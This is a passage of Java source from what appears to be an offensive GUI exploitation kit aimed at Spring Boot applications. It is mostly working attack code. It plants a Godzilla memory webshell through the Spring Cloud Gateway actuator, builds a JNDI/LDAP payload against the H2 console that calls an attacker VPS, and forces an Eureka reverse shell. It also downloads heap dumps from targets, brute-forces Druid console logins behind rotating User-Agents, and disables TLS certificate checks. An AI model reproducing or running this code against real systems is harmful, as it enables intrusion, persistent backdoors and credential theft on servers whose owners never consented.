37 | " }\n" + 38 | " }],\n" + 39 | " \"uri\": \"http://example.com\"\n" + 40 | "}"; 41 | MemshellLoad ms = new MemshellLoad(); 42 | String shell = ms.run(); 43 | String shellData = String.format(data,shell); 44 | URL obj = new URL(address + "/actuator/env"); 45 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 46 | UA_Config uacf = new UA_Config(); 47 | List ualist = uacf.loadUserAgents(); 48 | ua = uacf.getRandomUserAgent(ualist); 49 | conn.setRequestProperty("User-Agent",ua); 50 | conn.setRequestMethod("GET"); 51 | conn.setDoOutput(true); 52 | int responseCode = conn.getResponseCode(); 53 | if (responseCode == HttpURLConnection.HTTP_OK){ 54 | api = "/actuator/gateway/routes/pwnshell"; 55 | refapi = "/actuator/gateway/refresh"; 56 | }else { 57 | api = "/gateway/routes/pwnshell"; 58 | refapi = "/gateway/refresh"; 59 | } 60 | String site = address + api; 61 | URL obj1 = new URL(site); 62 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 63 | conn1.setRequestMethod("POST"); 64 | conn1.setRequestProperty("Content-Type", "application/json"); 65 | conn1.setDoOutput(true); 66 | try (OutputStream os = conn1.getOutputStream()) { 67 | byte[] input = shellData.getBytes(StandardCharsets.UTF_8); 68 | os.write(input, 0, input.length); 69 | } 70 | int responseCode1 = conn1.getResponseCode(); 71 | if (responseCode1 == HttpURLConnection.HTTP_CREATED){ 72 | String site1 = address + refapi; 73 | URL obj2 = new URL(site1); 74 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 75 | conn2.setRequestMethod("POST"); 76 | conn2.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 77 | conn2.setDoOutput(true); 78 | int responseCode2 = conn2.getResponseCode(); 79 | if (responseCode2 == HttpURLConnection.HTTP_OK){ 80 | URL obj3 = new URL(site); 81 | HttpURLConnection conn3 = (HttpURLConnection) obj3.openConnection(); 82 | conn3.setRequestMethod("GET"); 83 | conn3.setDoOutput(true); 84 | BufferedReader in = new BufferedReader(new InputStreamReader(conn3.getInputStream())); 85 | String inputLine; 86 | StringBuilder content = new StringBuilder(); 87 | while ((inputLine = in.readLine()) != null) { 88 | content.append(inputLine); 89 | res = inputLine.toString(); 90 | } 91 | int responseCode3 = conn3.getResponseCode(); 92 | if (responseCode3 == HttpURLConnection.HTTP_OK){ 93 | if (res.contains("pwnshell")) { 94 | String resultPattern = "Result\\s*=\\s*'([^\\n]*)'"; 95 | Pattern pattern = Pattern.compile(resultPattern); 96 | Matcher matcher = pattern.matcher(content.toString()); 97 | if (matcher.find()) { 98 | if(matcher.group(1).equals("ok")) { 99 | String result = "哥斯拉GetShell成功,访问地址为/mems, 密码为boomhacker"; 100 | builder.add(result); 101 | }else{ 102 | String result = "已经上传过了,请不要重新上传了\t\t访问地址为/mems, 密码为boomhacker"; 103 | builder.add(result); 104 | } 105 | } 106 | }else { 107 | builder.add(address + " " + "Getshell失败,请重试"); 108 | } 109 | }else{ 110 | builder.add("POST request failed with response code: " + responseCode1); 111 | } 112 | } 113 | } 114 | return builder.build(); 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /src/main/Exp/ExpImp/ExpImp.java: -------------------------------------------------------------------------------- 1 | package src.main.Exp.ExpImp; 2 | 3 | import javafx.application.Platform; 4 | import javafx.scene.control.ScrollPane; 5 | import javafx.scene.text.Text; 6 | import javafx.scene.text.TextFlow; 7 | import src.main.Exp.ExpCore.ExpCore; 8 | 9 | import java.io.IOException; 10 | import java.util.concurrent.ExecutorService; 11 | import java.util.stream.Stream; 12 | import src.main.springboot_vul; 13 | 14 | public class ExpImp { 15 | String address; 16 | ExecutorService executorService; 17 | TextFlow consoleOutput; 18 | ScrollPane scrollPane; 19 | public ExpImp(String address){ 20 | this.address = address; 21 | executorService = springboot_vul.executorService; 22 | consoleOutput = springboot_vul.consoleOutput; 23 | scrollPane = springboot_vul.scrollPane; 24 | } 25 | 26 | public void handlerSpgRCE(String address){ 27 | // 清空控制台输出 28 | consoleOutput.getChildren().clear(); 29 | if (address.endsWith("/")) { 30 | address = address.replaceAll("/$", ""); 31 | } 32 | if (!address.startsWith("http://")) { 33 | address = "http://" + address; 34 | } 35 | ExpCore ec = new ExpCore(address); 36 | executorService.submit(() -> { 37 | try { 38 | Stream result =ec.ShellGaw(); 39 | result.forEach(line -> { 40 | Platform.runLater(() -> { 41 | Text text = new Text(line + "\n"); 42 | consoleOutput.getChildren().add(text); 43 | // 自动滚动到最新内容 44 | scrollPane.setVvalue(1.0); 45 | }); 46 | }); 47 | } catch (IOException e) { 48 | e.printStackTrace(); 49 | Platform.runLater(() -> { 50 | Text errorText = new Text("发生错误,请检查与服务器的连接!\n"); 51 | consoleOutput.getChildren().add(errorText); 52 | }); 53 | } 54 | }); 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /src/main/FileCommon/File.java: -------------------------------------------------------------------------------- 1 | package src.main.FileCommon; 2 | 3 | import com.google.gson.*; 4 | 5 | import java.io.*; 6 | import java.nio.charset.StandardCharsets; 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | 10 | public class File { 11 | public Map parseVulList(String filePath) throws IOException { 12 | Map totalList = new HashMap<>(); 13 | String fullPath = System.getProperty("user.dir") + "/resources/" + filePath; 14 | try (Reader reader = new InputStreamReader(new FileInputStream(fullPath), StandardCharsets.UTF_8)) { 15 | JsonElement jsonElement = JsonParser.parseReader(reader); 16 | JsonObject jsonObject = jsonElement.getAsJsonObject(); 17 | JsonArray vulnList = jsonObject.getAsJsonArray("VuLnList"); 18 | JsonArray clasList = jsonObject.getAsJsonArray("ClassList"); 19 | totalList.put(1,vulnList); 20 | totalList.put(2,clasList); 21 | } catch (FileNotFoundException e) { 22 | System.out.println("File not found: " + e.getMessage()); 23 | } catch (IOException e) { 24 | System.out.println("I/O Error: " + e.getMessage()); 25 | } catch (Exception e) { 26 | System.out.println("Error parsing JSON: " + e.getMessage()); 27 | } 28 | return totalList; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/LoadLib/ClassCom/ClsComp.java: -------------------------------------------------------------------------------- 1 | package src.main.LoadLib.ClassCom; 2 | 3 | import src.main.impl.ResultCallback; 4 | 5 | import javax.tools.JavaCompiler; 6 | import javax.tools.JavaFileObject; 7 | import javax.tools.StandardJavaFileManager; 8 | import javax.tools.ToolProvider; 9 | import java.io.File; 10 | import java.io.IOException; 11 | import java.nio.file.Files; 12 | import java.nio.file.Path; 13 | import java.nio.file.Paths; 14 | import java.nio.file.StandardCopyOption; 15 | import java.util.Arrays; 16 | import java.util.Objects; 17 | 18 | public class ClsComp { 19 | private String vpsIP; 20 | private String vpsPort; 21 | private String address; 22 | private String b64payload; 23 | public String text; 24 | public String exp = "language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://%s:1389/src.main.template.JNDIObject.JNDIObject&user=&password="; 25 | 26 | public ClsComp(String vpsIP,String vpsPort){ 27 | this.vpsIP = vpsIP; 28 | this.vpsPort = vpsPort; 29 | } 30 | public ClsComp(String address,String vpsIP,String none){ 31 | this.vpsIP = vpsIP; 32 | this.address = address; 33 | } 34 | public ClsComp(String b64payload){ 35 | this.b64payload = b64payload; 36 | } 37 | 38 | // 编译class 39 | public boolean modifyJavaClassFile(String filename, String outfilename, ResultCallback callback) { 40 | try { 41 | String filepath = System.getProperty("user.dir") + "/src/main/template/" + filename; 42 | String outpath = System.getProperty("user.dir") + "/resources/" + outfilename; 43 | String allcontent = ""; 44 | Path path = Paths.get(filepath); 45 | String content = new String(Files.readAllBytes(path)); 46 | String filestr = Paths.get(filepath).getFileName().toString(); 47 | String outfilestr = Paths.get(outfilename).getFileName().toString(); 48 | if (b64payload != null && !b64payload.isEmpty()){ 49 | allcontent = String.format(content,b64payload).replaceAll(filestr.substring(0, filestr.lastIndexOf(".")),outfilestr.substring(0, outfilestr.lastIndexOf("."))); 50 | }else{ 51 | allcontent = String.format(content,vpsIP,vpsPort).replaceAll(filestr.substring(0, filestr.lastIndexOf(".")),outfilestr.substring(0, outfilestr.lastIndexOf("."))); 52 | } 53 | // 去掉原包中的模板文件package 54 | String regstr = "package src.main.template.JNDIObject;"; 55 | String regstr1 = "package src.main.template.YAMLObject;"; 56 | allcontent = allcontent.replaceAll(regstr,""); 57 | allcontent = allcontent.replaceAll(regstr1,"package artsploit;"); 58 | Files.write(Paths.get(outpath), allcontent.getBytes()); 59 | text = outfilestr + "文件写入成功"; 60 | callback.onResult(text); 61 | } catch (IOException e) { 62 | text = outfilename.lastIndexOf("/") + "文件写入失败"; 63 | callback.onResult(text); 64 | e.printStackTrace(); 65 | return false; 66 | } 67 | return true; 68 | } 69 | 70 | public boolean modifyPythonFile(String filename, String outfilename, ResultCallback callback) { 71 | String jolokiaUrl = address + "/jolokia"; // 替换的 jolokia URL 72 | String rmiUrl = String.format("rmi://%s:1389/JolokiaRealm", vpsIP); // 替换的 rmi URL 73 | try { 74 | String filepath = System.getProperty("user.dir") + "/src/main/template/" + filename; 75 | String content = new String(Files.readAllBytes(Paths.get(filepath))); 76 | String outpath = System.getProperty("user.dir") + "/resources/" + outfilename; 77 | 78 | // 替换 Jolokia URL 和 RMI URL 79 | content = content.replace("%s/jolokia", jolokiaUrl); 80 | content = content.replace("rmi://%s:1389/JolokiaRealm", rmiUrl); 81 | 82 | Files.write(Paths.get(outpath), content.getBytes()); // 写入文件 83 | text = outfilename + "文件写入成功"; 84 | callback.onResult(text); 85 | } catch (IOException e) { 86 | text = outfilename + "文件写入失败"; 87 | callback.onResult(text); 88 | e.printStackTrace(); 89 | return false; 90 | } 91 | return true; 92 | } 93 | 94 | public void CompileJava(String filename,String outfile,ResultCallback callback) throws IOException{ 95 | String filepath = System.getProperty("user.dir") + "/resources/" + filename + ".java"; 96 | String outfilepath = System.getProperty("user.dir") + "/resources/" + outfile + ".class"; 97 | File fileToCompile = new File(filepath); 98 | 99 | // 获取系统编译器 100 | JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); 101 | 102 | // 检查编译器是否可用 103 | if (compiler == null) { 104 | text = "没有可用的编译器,请确认JRE或JDK是否配置"; 105 | callback.onResult(text); 106 | return; 107 | } 108 | 109 | StandardJavaFileManager fileManager = compiler.getStandardFileManager(null, null, null); 110 | Iterable compilationUnits = fileManager.getJavaFileObjectsFromFiles(Arrays.asList(fileToCompile)); 111 | Iterable options = Arrays.asList("-source", "1.5", "-target", "1.5","-Xlint:-options"); 112 | JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, null, options, null, compilationUnits); 113 | boolean success = task.call(); 114 | try { 115 | fileManager.close(); 116 | } catch (Exception e) { 117 | e.printStackTrace(); 118 | } 119 | 120 | if (success) { 121 | text = outfile + "文件编译成功"; 122 | callback.onResult(text); 123 | File compiledFile = new File(outfilepath); 124 | // 移动文件到指定路径 125 | try { 126 | Path sourcePath = compiledFile.toPath(); 127 | Path targetPath = new File(outfilepath).toPath(); 128 | Files.move(sourcePath, targetPath, StandardCopyOption.REPLACE_EXISTING); 129 | text = "class文件移动到resources下"; 130 | callback.onResult(text); 131 | } catch (IOException e) { 132 | text = "移动文件失败"; 133 | callback.onResult(text); 134 | e.printStackTrace(); 135 | } 136 | } else { 137 | text = "文件编译失败"; 138 | callback.onResult(text); 139 | } 140 | } 141 | } -------------------------------------------------------------------------------- /src/main/LoadLib/JARLoad/LoadJarLib.java: -------------------------------------------------------------------------------- 1 | package src.main.LoadLib.JARLoad; 2 | 3 | import src.main.impl.ResultCallback; 4 | 5 | import java.io.File; 6 | import java.io.FileWriter; 7 | import java.io.IOException; 8 | import java.nio.file.Files; 9 | import java.nio.file.Paths; 10 | import java.nio.file.StandardCopyOption; 11 | 12 | public class LoadJarLib { 13 | private String filename = ""; 14 | 15 | public LoadJarLib(String filename) { 16 | this.filename = filename; 17 | } 18 | 19 | public void loadJar(ResultCallback callback) { 20 | try { 21 | // 1. 定义需要打包的Java文件路径和类名 22 | String jarFileName = System.getProperty("user.dir") + "/resources/" + filename + ".jar"; 23 | boolean jarCreated = createJarFile(jarFileName, System.getProperty("user.dir") + "/resources/SnakeYamlPayload/src/"); 24 | 25 | if (jarCreated) { 26 | callback.onResult("JAR包打包完成"); 27 | } else { 28 | callback.onResult("JAR包打包失败"); 29 | } 30 | } catch (Exception e) { 31 | callback.onResult("jar包打包异常"); 32 | e.printStackTrace(); 33 | } 34 | } 35 | 36 | 37 | // 创建JAR文件并返回是否成功 38 | private static boolean createJarFile(String jarFileName, String sourceDir) throws IOException, InterruptedException { 39 | ProcessBuilder builder = new ProcessBuilder( 40 | "jar", "cvf", jarFileName, "-C", sourceDir, "." 41 | ); 42 | 43 | // 启动进程 44 | Process process = builder.start(); 45 | int exitCode = process.waitFor(); // 等待打包完成 46 | // 返回打包是否成功 47 | return exitCode == 0; 48 | } 49 | } -------------------------------------------------------------------------------- /src/main/LoadLib/MemshellLoad/GMemShell.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/src/main/LoadLib/MemshellLoad/GMemShell.class -------------------------------------------------------------------------------- /src/main/LoadLib/MemshellLoad/MemshellLoad.java: -------------------------------------------------------------------------------- 1 | package src.main.LoadLib.MemshellLoad; 2 | import java.io.ByteArrayOutputStream; 3 | import java.io.FileInputStream; 4 | import java.util.Base64; 5 | 6 | public class MemshellLoad { 7 | public static byte[] load(String path) { 8 | FileInputStream fis = null; 9 | ByteArrayOutputStream baos = null; 10 | 11 | try { 12 | fis = new FileInputStream(path); 13 | baos = new ByteArrayOutputStream(); 14 | byte[] buffer = new byte[1024]; 15 | int len = -1; 16 | while ((len = fis.read(buffer)) != -1) { 17 | baos.write(buffer, 0, len); 18 | baos.flush(); 19 | } 20 | return baos.toByteArray(); 21 | } 22 | catch (Exception e) { 23 | e.printStackTrace(); 24 | } 25 | finally { 26 | if (fis != null) { 27 | try { fis.close(); } 28 | catch (Exception e) { e.printStackTrace(); } 29 | } 30 | if (baos != null) { 31 | try { baos.close(); } 32 | catch (Exception e) { e.printStackTrace(); } 33 | } 34 | } 35 | return null; 36 | } 37 | 38 | public String run(){ 39 | byte[] code = MemshellLoad.load(System.getProperty("user.dir") + "/src/main/LoadLib/MemshellLoad/GMemShell.class"); 40 | String b64exp = Base64.getEncoder().encodeToString(code); 41 | return b64exp; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/SSLVerify/sslVer.java: -------------------------------------------------------------------------------- 1 | package src.main.SSLVerify; 2 | 3 | import javax.net.ssl.*; 4 | import java.io.IOException; 5 | import java.net.URL; 6 | import java.security.cert.X509Certificate; 7 | 8 | public class sslVer { 9 | 10 | public static void disableSSLVerification() { 11 | try { 12 | TrustManager[] trustAllCerts = new TrustManager[]{ 13 | new X509TrustManager() { 14 | public X509Certificate[] getAcceptedIssuers() { 15 | return null; 16 | } 17 | public void checkClientTrusted(X509Certificate[] certs, String authType) { 18 | } 19 | public void checkServerTrusted(X509Certificate[] certs, String authType) { 20 | } 21 | } 22 | }; 23 | 24 | // 安装信任管理器 25 | SSLContext sc = SSLContext.getInstance("SSL"); 26 | sc.init(null, trustAllCerts, new java.security.SecureRandom()); 27 | HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); 28 | 29 | // 创建一个空的 HostnameVerifier,用于忽略主机名验证 30 | HostnameVerifier allHostsValid = (hostname, session) -> true; 31 | 32 | // 安装主机名验证器 33 | HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | 39 | } -------------------------------------------------------------------------------- /src/main/common/DownLoadHP.java: -------------------------------------------------------------------------------- 1 | package src.main.common; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.RandomAccessFile; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.nio.file.Files; 10 | import java.nio.file.Path; 11 | import java.nio.file.Paths; 12 | import java.util.concurrent.CompletableFuture; 13 | 14 | public class DownLoadHP { 15 | 16 | // 每块大小:1MB 17 | private static final int CHUNK_SIZE = 1024 * 1024; // 1MB 缓冲区大小 18 | 19 | public CompletableFuture downloadHPAsync(String address, ProgressCallback progressCallback) { 20 | return CompletableFuture.supplyAsync(() -> { 21 | String fileName = null; 22 | try { 23 | // 设置下载URL 24 | String fileURL = address + "/heapdump"; 25 | String saveDir = "./HPFile"; // 保存文件的目录 26 | 27 | // 处理文件名 28 | fileName = getFileNameFromURL(address); 29 | 30 | // 创建保存目录 31 | Path dirPath = Paths.get(saveDir); 32 | if (Files.notExists(dirPath)) { 33 | Files.createDirectories(dirPath); 34 | } 35 | 36 | // 获取文件总大小 37 | long totalSize = getFileSize(fileURL); 38 | 39 | // 下载文件分块 40 | downloadFileInChunks(fileURL, saveDir, fileName, totalSize, progressCallback); 41 | 42 | } catch (IOException e) { 43 | e.printStackTrace(); 44 | return null; 45 | } 46 | return fileName; 47 | }); 48 | } 49 | 50 | // 获取文件名 51 | private String getFileNameFromURL(String address) { 52 | String fileName = address.replaceAll("^(http://|https://)", ""); 53 | int portIndex = fileName.indexOf(":"); 54 | if (portIndex != -1) { 55 | fileName = fileName.substring(0, portIndex); 56 | } 57 | int pathIndex = fileName.indexOf("/"); 58 | if (pathIndex != -1) { 59 | fileName = fileName.substring(0, pathIndex); 60 | } 61 | return fileName + "_heapdump"; 62 | } 63 | 64 | // 获取文件大小 65 | private long getFileSize(String fileURL) throws IOException { 66 | URL url = new URL(fileURL); 67 | HttpURLConnection httpConn = (HttpURLConnection) url.openConnection(); 68 | httpConn.setRequestMethod("HEAD"); 69 | long length = httpConn.getContentLengthLong(); 70 | httpConn.disconnect(); 71 | return length; 72 | } 73 | 74 | // 分块下载文件 75 | private void downloadFileInChunks(String fileURL, String saveDir, String fileName, long totalSize, ProgressCallback progressCallback) throws IOException { 76 | URL url = new URL(fileURL); 77 | File outputFile = new File(saveDir + File.separator + fileName); 78 | 79 | try (RandomAccessFile raf = new RandomAccessFile(outputFile, "rw")) { 80 | raf.setLength(totalSize); // 预分配文件大小 81 | 82 | // 下载每个块 83 | for (long start = 0; start < totalSize; start += CHUNK_SIZE) { 84 | long end = Math.min(start + CHUNK_SIZE - 1, totalSize - 1); // 确定块的结束位置 85 | // 下载并写入文件的该块 86 | downloadChunk(fileURL, raf, start, end, totalSize, progressCallback); 87 | } 88 | } 89 | } 90 | 91 | // 下载一个块 92 | private void downloadChunk(String fileURL, RandomAccessFile raf, long start, long end, long totalSize, ProgressCallback progressCallback) throws IOException { 93 | HttpURLConnection httpConn = (HttpURLConnection) new URL(fileURL).openConnection(); 94 | String rangeHeader = "bytes=" + start + "-" + end; 95 | httpConn.setRequestProperty("Range", rangeHeader); 96 | httpConn.connect(); 97 | 98 | // 读取响应并写入对应的文件位置 99 | try (InputStream inputStream = httpConn.getInputStream()) { 100 | raf.seek(start); // 定位到文件的对应位置 101 | byte[] buffer = new byte[8192]; // 缓冲区 102 | int bytesRead; 103 | while ((bytesRead = inputStream.read(buffer)) != -1) { 104 | raf.write(buffer, 0, bytesRead); 105 | } 106 | } 107 | httpConn.disconnect(); 108 | 109 | // 更新进度 110 | if (progressCallback != null) { 111 | long downloadedBytes = end + 1; 112 | String progressText = String.format("下载进度: %s / %s", 113 | formatFileSize(downloadedBytes), 114 | formatFileSize(totalSize)); 115 | progressCallback.onProgress(downloadedBytes, totalSize, progressText); 116 | } 117 | } 118 | 119 | // 格式化文件大小 120 | private String formatFileSize(long size) { 121 | if (size < 1024) { 122 | return size + " 字节"; 123 | } else if (size < 1024 * 1024) { 124 | return String.format("%.2f KB", size / 1024.0); 125 | } else if (size < 1024 * 1024 * 1024) { 126 | return String.format("%.2f MB", size / (1024.0 * 1024.0)); 127 | } else { 128 | return String.format("%.2f GB", size / (1024.0 * 1024.0 * 1024.0)); 129 | } 130 | } 131 | 132 | public interface ProgressCallback { 133 | void onProgress(long downloadedBytes, long totalBytes, String progressText); 134 | } 135 | } -------------------------------------------------------------------------------- /src/main/common/UA_Config.java: -------------------------------------------------------------------------------- 1 | package src.main.common; 2 | 3 | import java.io.IOException; 4 | import java.nio.file.Files; 5 | import java.nio.file.Paths; 6 | import java.util.List; 7 | import java.util.Random; 8 | 9 | public class UA_Config { 10 | 11 | public List loadUserAgents() throws IOException { 12 | return Files.readAllLines(Paths.get(System.getProperty("user.dir") + "/resources/UA.txt")); 13 | } 14 | public String getRandomUserAgent(List userAgents) { 15 | Random random = new Random(); 16 | int index = random.nextInt(userAgents.size()); 17 | return userAgents.get(index); 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /src/main/common/VersionComparator.java: -------------------------------------------------------------------------------- 1 | package src.main.common; 2 | 3 | import java.util.Arrays; 4 | 5 | public class VersionComparator { 6 | /** 7 | * 比较当前 JDK 版本是否满足指定的版本条件 8 | * 9 | * @param leftVersion 当前 JDK 版本号(如 "1.8.0_181" 或 "11.0.1") 10 | * @param rightVersion 目标版本号(如 "8u182") 11 | * @return 如果当前版本 >= 目标版本,则返回 true;否则返回 false 12 | */ 13 | public static boolean isVersionAtLeast(String leftVersion, String rightVersion) { 14 | String[] currentParts = parseVersion(leftVersion); 15 | String[] targetParts = parseVersion(rightVersion); 16 | for (int i = 0; i < currentParts.length; i++) { 17 | int left = Integer.parseInt(currentParts[i]); 18 | int right = Integer.parseInt(targetParts[i]); 19 | if (left > right) { 20 | return false; 21 | } else if (left < right) { 22 | return true; 23 | } 24 | } 25 | return true; 26 | } 27 | 28 | /** 29 | * 解析版本号字符串,将其转换为可以比较的版本数字数组 30 | * 31 | * @param version 版本号字符串 32 | * @return 版本号各部分的数组 33 | */ 34 | private static String[] parseVersion(String version) { 35 | if (version.startsWith("1.")) { 36 | version = version.substring(2); // 去掉前面的 "1." 37 | } 38 | version = version.replace("_", ".").replace("u", "."); 39 | return version.split("\\."); 40 | } 41 | } -------------------------------------------------------------------------------- /src/main/impl/ResultCallback.java: -------------------------------------------------------------------------------- 1 | package src.main.impl; 2 | 3 | public interface ResultCallback { 4 | void onResult(String result); 5 | 6 | void onComplete(); 7 | } 8 | -------------------------------------------------------------------------------- /src/main/module/DruidBruteForce.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | 5 | import java.io.*; 6 | import java.net.HttpURLConnection; 7 | import java.net.URL; 8 | import java.net.URLEncoder; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | import java.util.stream.Stream; 12 | 13 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 14 | 15 | public class DruidBruteForce { 16 | String address; 17 | 18 | List credentials = new ArrayList<>(); 19 | 20 | boolean success = false; 21 | 22 | public DruidBruteForce(String address) { 23 | this.address = address; 24 | } 25 | 26 | // 初始化用户名和密码字典 27 | public void initializeCredentials() throws IOException { 28 | String filePath = System.getProperty("user.dir") + "/resources/user.txt"; 29 | File file = new File(filePath); 30 | try (BufferedReader br = new BufferedReader(new FileReader(file))) { 31 | String line; 32 | while ((line = br.readLine()) != null) { 33 | credentials.add(line.trim()); // 去除每行的空格并添加到列表 34 | } 35 | } 36 | } 37 | 38 | // 负责主要爆破逻辑的函数 39 | public Stream BruteDruid() throws IOException, InterruptedException { 40 | // 当爆到密码就不会继续爆破,返回密码 41 | initializeCredentials(); 42 | disableSSLVerification(); 43 | Stream.Builder builder = Stream.builder(); 44 | String api = "/druid/submitLogin"; 45 | String res = ""; 46 | String site = address + api; 47 | String ua = ""; 48 | // 遍历用户名和密码进行爆破 49 | for (String username : credentials) { 50 | for (String password : credentials) { 51 | String postData = "loginUsername=" + URLEncoder.encode(username, "UTF-8") + 52 | "&loginPassword=" + URLEncoder.encode(password, "UTF-8"); 53 | // 发送POST数据 54 | URL obj = new URL(site); 55 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 56 | UA_Config uacf = new UA_Config(); 57 | List ualist = uacf.loadUserAgents(); 58 | ua = uacf.getRandomUserAgent(ualist); 59 | conn.setRequestProperty("User-Agent",ua); 60 | conn.setRequestMethod("POST"); 61 | conn.setDoOutput(true); 62 | conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 63 | try (OutputStream os = conn.getOutputStream()) { 64 | os.write(postData.getBytes()); 65 | os.flush(); 66 | } 67 | // 读取服务器响应 68 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 69 | String inputLine; 70 | StringBuilder response = new StringBuilder(); 71 | while ((inputLine = in.readLine()) != null) { 72 | response.append(inputLine); 73 | res = inputLine.toString(); 74 | } 75 | in.close(); 76 | if (res.contains("success")) { 77 | String result = "爆破成功!用户名:" +username + " " + "密码:" + password; 78 | builder.add(result); 79 | success = true; 80 | break; 81 | } else { 82 | String result ="爆破失败!用户名" + username + " " + "密码:" + password; 83 | builder.add(result); 84 | } 85 | Thread.sleep(1000); 86 | } 87 | if (success){ 88 | break; 89 | } 90 | } 91 | return builder.build(); 92 | } 93 | } -------------------------------------------------------------------------------- /src/main/module/EurekaXsRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.io.OutputStream; 10 | import java.net.HttpURLConnection; 11 | import java.net.URL; 12 | import java.nio.charset.StandardCharsets; 13 | import java.util.List; 14 | import java.util.regex.Matcher; 15 | import java.util.regex.Pattern; 16 | import java.util.stream.Stream; 17 | 18 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 19 | 20 | public class EurekaXsRCE { 21 | private String address; 22 | private String vpsIP; 23 | private String vpsPORT; 24 | public String text = ""; 25 | public String expData1 = "eureka.client.serviceUrl.defaultZone=http://%s/"; 26 | public String expData2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://%s/\"}"; 27 | 28 | public EurekaXsRCE(String address,String vpsIP, String vpsPORT){ 29 | this.address = address; 30 | this.vpsIP = vpsIP; 31 | this.vpsPORT = vpsPORT; 32 | } 33 | 34 | public void Result1(ResultCallback callback){ 35 | String api = "/env"; 36 | String refapi = "/refresh"; 37 | String site = address + api; 38 | String refsite = address + refapi; 39 | String llib = "spring-boot-starter-actuator"; 40 | String llib1 = "spring-cloud-starter-netflix-eureka-client"; 41 | String data = String.format(expData1,vpsIP + ":" + vpsPORT); 42 | String ua = ""; 43 | disableSSLVerification(); 44 | try{ 45 | URL obj = new URL(site); 46 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 47 | UA_Config uacf = new UA_Config(); 48 | List ualist = uacf.loadUserAgents(); 49 | ua = uacf.getRandomUserAgent(ualist); 50 | conn.setRequestProperty("User-Agent",ua); 51 | conn.setRequestMethod("GET"); 52 | int responseCode = conn.getResponseCode(); 53 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 54 | String inputLine; 55 | StringBuilder response = new StringBuilder(); 56 | while ((inputLine = in.readLine()) != null) { 57 | response.append(inputLine); 58 | } 59 | in.close(); 60 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib) && response.toString().contains(llib1))) { 61 | String regex = llib + "-(\\d+\\.\\d+\\.\\d+)"; 62 | Pattern pattern = Pattern.compile(regex); 63 | Matcher matcher = pattern.matcher(response.toString()); 64 | String regex1 = llib1 + "-(\\d+\\.\\d+\\.\\d+)"; 65 | Pattern pattern1 = Pattern.compile(regex1); 66 | Matcher matcher1 = pattern1.matcher(response.toString()); 67 | if (matcher.find() && matcher1.find()) { 68 | text = String.format("spring-cloud-starter 依赖为: %s", matcher.group(1)); 69 | callback.onResult(text); 70 | text = String.format("spring-cloud-starter-netflix-eureka-client 依赖为:%s",matcher1.group(1)); 71 | callback.onResult(text); 72 | URL obj1 = new URL(site); 73 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 74 | ua = uacf.getRandomUserAgent(ualist); 75 | conn1.setRequestProperty("User-Agent",ua); 76 | conn1.setRequestMethod("POST"); 77 | conn1.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 78 | conn1.setDoOutput(true); 79 | try (OutputStream os = conn1.getOutputStream()) { 80 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 81 | os.write(input, 0, input.length); 82 | } 83 | int responseCode1 = conn1.getResponseCode(); 84 | if (responseCode1 == HttpURLConnection.HTTP_OK){ 85 | URL obj2 = new URL(refsite); 86 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 87 | ua = uacf.getRandomUserAgent(ualist); 88 | conn2.setRequestProperty("User-Agent",ua); 89 | conn2.setRequestMethod("POST"); 90 | conn2.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 91 | conn2.setDoOutput(true); 92 | int responseCode2 = conn2.getResponseCode(); 93 | if (responseCode2 == HttpURLConnection.HTTP_OK){ 94 | text = "反弹成功,请到反弹vps上查看"; 95 | callback.onResult(text); 96 | }else{ 97 | text = "反弹失败,请查看vps状态或网络状态后重试"; 98 | callback.onResult(text); 99 | } 100 | }else{ 101 | text = "发送refresh失败,请重试"; 102 | callback.onResult(text); 103 | } 104 | }else { 105 | text = "未找到spring-cloud-starter 依赖和spring-cloud-starter-netflix-eureka-client 依赖"; 106 | callback.onResult(text); 107 | } 108 | }else{ 109 | text = "发送请求失败,请重试"; 110 | callback.onResult(text); 111 | } 112 | }catch (Exception e){ 113 | e.printStackTrace(); 114 | } 115 | } 116 | 117 | public void Result2(ResultCallback callback){ 118 | String api = "/actuator/env"; 119 | String site = address + api; 120 | String refapi = "/actuator/refresh"; 121 | 